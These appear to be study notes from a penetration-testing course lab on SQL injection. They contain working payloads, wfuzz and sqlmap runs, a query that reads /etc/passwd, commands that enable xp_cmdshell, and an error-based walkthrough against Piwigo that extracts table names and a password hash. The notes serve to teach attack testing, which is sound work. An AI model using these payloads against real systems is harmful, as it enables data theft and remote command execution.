Unsanitized user input inserrted into queries and passed to the database for execution.
Testing for SQL Injection
String Delimiters
Example payload escaping our closing out a string delimiter
' or 1=1 -- //
Closing Out Strings and Functions
Example payload escaping or closing out a function call
foo') or 1=1 -- //
Sorting
Use something like Burp Suite to modify the request parameters, ex. sort by ID being change to a column number.
Boundary Testing
Submit values that may fall outside the scope of a limited data set. Previous example of submitting an invalid column number to receive an error could be considered as a form of Boundary Testing.
Fuzzing
Using wfuzz to identify SQL injection
kali@kali:~$ wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -d "db=mysql&id=FUZZ" -u http://sql-sandbox/api/intro
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://sql-sandbox/api/intro
Total requests: 125
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000007: 500 0 L 48 W 342 Ch "--';"
000000020: 500 0 L 48 W 360 Ch "<>"'%;)(&+"
000000003: 500 0 L 48 W 338 Ch "#"
000000014: 500 0 L 50 W 365 Ch "\x3D%20\x3B'"
000000021: 200 0 L 1 W 2 Ch "'%20or%20''='"
000000018: 500 0 L 52 W 361 Ch "'or%20select *"
000000015: 500 0 L 50 W 363 Ch "\x3D%20\x27"
000000025: 200 0 L 62 W 495 Ch "0 or 1=1"
000000058: 500 0 L 48 W 341 Ch "as"
...
Total time: 0
Processed Requests: 125
Filtered Requests: 0
Requests/sec.: 0
Exploiting SQL Injection
Error-based Payloads
Use errors to extract useful information.
Sample Oracle blind SQL injection payload
01 to_char(
02 dbms_xmlgen.getxml(
03 'select "'||
04 (select substr(banner,0,30) from v$version where rownum=1)
05 ||'" from sys.dual'
06 )
07 )
SELECT * from menu where id = 10; SELECT * from users;
SQL syntax for an INSERT statement
INSERT INTO <table name>(<comma separated list of columns>) values (<comma separated list of values>);
Reading and Writing Files
SQL payload to create a new table, copy /etc/passwd into the table, and return the table's content
create table tmp(data text);
copy tmp from '/etc/passwd';
select * from tmp;
The table can then be deleted with drop table tmp;
Remote Code Execution
Commands to enable xp_cmdshell()
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1;
GO
-- To update the currently configured value for advanced options.
RECONFIGURE;
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1;
GO
-- To update the currently configured value for this feature.
RECONFIGURE;
GO
Using xp_cmdshell to run a command
EXECUTE xp_cmdshell 'command to run here';
Extra Miles
Extra lab.
Database dumping with Automated Tools
SQLMap
Sample sqlmap usage
kali@kali:~$ sqlmap -u http://sql-sandbox/sqlmap/api --method POST --data "db=mysql&name=taco&sort=id&order=asc" -p "name,sort,order"
...
[15:00:23] [INFO] testing 'Generic inline queries'
[15:00:23] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:00:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:00:23] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:00:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:00:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:00:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[15:00:23] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
sqlmap identified a vulnerable parameter
[15:02:06] [WARNING] POST parameter 'name' does not seem to be injectable
[15:02:06] [WARNING] heuristic (basic) test shows that POST parameter 'sort' might not be injectable
[15:02:06] [INFO] testing for SQL injection on POST parameter 'sort'
[15:02:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:02:06] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:02:06] [INFO] POST parameter 'sort' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --code=200)
[15:02:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
sqlmap results
sqlmap identified the following injection point(s) with a total of 319 HTTP(s) requests:
---
Parameter: sort (POST)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: db=mysql&name=taco&sort=(SELECT (CASE WHEN (4205=4205) THEN 'id' ELSE (SELECT 5575 UNION SELECT 9292) END))&order=asc
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: db=mysql&name=taco&sort=id AND (SELECT 6144 FROM (SELECT(SLEEP(5)))WrFh)&order=asc
---
[15:03:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[15:03:48] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 230 times
[15:03:48] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/sql-sandbox'
[*] ending @ 15:03:48 /2021-07-28/
<meta http-equiv='Content-Type' content='text/html; charset=utf-8'>
<h1>Piwigo encountered an irrecoverable error</h1>
<pre style='font-size:larger;background:white;color:red;padding:1em;margin:0;clear:both;display:block;width:auto;height:auto;overflow:auto'>
<b>[Hacking attempt] the input parameter "start" is not valid
</b>
#1 check_input_parameter /piwigo/piwigo/admin/user_list_backend.php(16)
</pre>
Verbose erro rmessage from Piwigo
<pre><br />
<b>Warning</b>: [mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''
LIMIT 0, 10' at line 4
SELECT SQL_CALC_FOUND_ROWS id, username, status, mail_address, recent_period, level, registration_date
FROM piwigo_users INNER JOIN piwigo_user_infos AS ui ON id = ui.user_id
ORDER BY id asc'
LIMIT 0, 10
in <b>/piwigo/piwigo/include/dblayer/functions_mysqli.inc.php</b> on line <b>864</b><br />
</pre><br />
<b>Fatal error</b>: Uncaught Error: Call to a member function fetch_array() on bool in /piwigo/piwigo/include/dblayer/functions_mysqli.inc.php:223
Stack trace:
#0 /piwigo/piwigo/admin/user_list_backend.php(204): pwg_db_fetch_array(false)
#1 {main}
thrown in <b>/piwigo/piwigo/include/dblayer/functions_mysqli.inc.php</b> on line <b>223</b><br />
Exploiting Error-based SQL Injection
The group_concat() function is unique to MySQL. Current versions of Microsoft SQL Server and PostgreSQL have a very similar STRING_AGG() function. Additionally, current versions of Oracle DB have a LISTAGG() function that is similar to the STRING_AGG() functions.
Using ExtractValue() with group_concat()
01 asc, extractvalue('',concat('>',(
02 select group_concat(table_schema)
03 from (
04 select table_schema
05 from information_schema.tables
06 group by table_schema)
07 as foo)
08 )
09 )
Error message containing the database schemas
: [mysql error 1105] XPATH syntax error: '>information_schema,piwigo'
SELECT SQL_CALC_FOUND_ROWS id, username, status, mail_address, recent_period, level, registration_date
FROM piwigo_users INNER JOIN piwigo_user_infos AS ui ON id = ui.user_id
ORDER BY id asc, extractvalue('',concat('>',(select group_concat(table_schema) from (select table_schema from information_schema.tables group by table_schema) as foo)))
LIMIT 0, 10
in <b>/piwigo/piwigo/include/dblayer/functions_mysqli.inc.php</b>
Updated payload to extract
asc, extractvalue('',concat('>',(
select group_concat(table_name)
from (
select table_name from information_schema.tables
where table_schema='piwigo')
as foo)
)
)
Error message with table names
: [mysql error 1105] XPATH syntax error: '>piwigo_activity,piwigo_caddie,p'
SELECT SQL_CALC_FOUND_ROWS id, username, status, mail_address, recent_period, level, registration_date
FROM piwigo_users INNER JOIN piwigo_user_infos AS ui ON id = ui.user_id
ORDER BY id asc, extractvalue('',concat('>',(select group_concat(table_name) from (select table_name from information_schema.tables where table_schema='piwigo') as foo)))
LIMIT 0, 10
Updated payload with LIMIT and OFFSET values
asc, extractvalue('',concat('>',(
select group_concat(table_name)
from (
select table_name
from information_schema.tables
where table_schema='piwigo'
limit 2 offset 2)
as foo)
)
)
Payload to extract column names for piwigo_users table
asc, extractvalue('',concat('>',(
select group_concat(column_name)
from (
select column_name
from information_schema.columns
where table_schema='piwigo' and table_name='piwigo_users')
as foo)
)
)
Error message identifying the columns of the piwigo_users table
: [mysql error 1105] XPATH syntax error: '>id,mail_address,password,userna'
SELECT SQL_CALC_FOUND_ROWS id, username, status, mail_address, recent_period, level, registration_date
FROM piwigo_users INNER JOIN piwigo_user_infos AS ui ON id = ui.user_id
ORDER BY id asc, extractvalue('',concat('>',(select group_concat(column_name) from (select column_name from information_schema.columns where table_schema='piwigo' and table_name='piwigo_users') as foo)))
LIMIT 0, 10
Microsoft SQL Server has a nearly identical SUBSTRING() function and Oracle DB has a SUBSTR() function that takes the same parameters. PostgreSQL has two different functions for substrings. The MySQL SUBSTRING() function follows the same parameter format as the SUBSTR() function. The SUBSTRING() function must include a from or for keyword in the function call.
Payload to extract password values
asc, extractvalue('',concat('>',(select substring(password,1,32) from piwigo_users limit 1 offset 0)))
Extracting a partial password hash
: [mysql error 1105] XPATH syntax error: '>$P$Ghxmchgk.0YxEQutC7os3dZfBvqG'
SELECT SQL_CALC_FOUND_ROWS id, username, status, mail_address, recent_period, level, registration_date
FROM piwigo_users INNER JOIN piwigo_user_infos AS ui ON id = ui.user_id
ORDER BY id asc, extractvalue('',concat('>',(select substring(password,1,32) from piwigo_users limit 1 offset 0)))
LIMIT 0, 10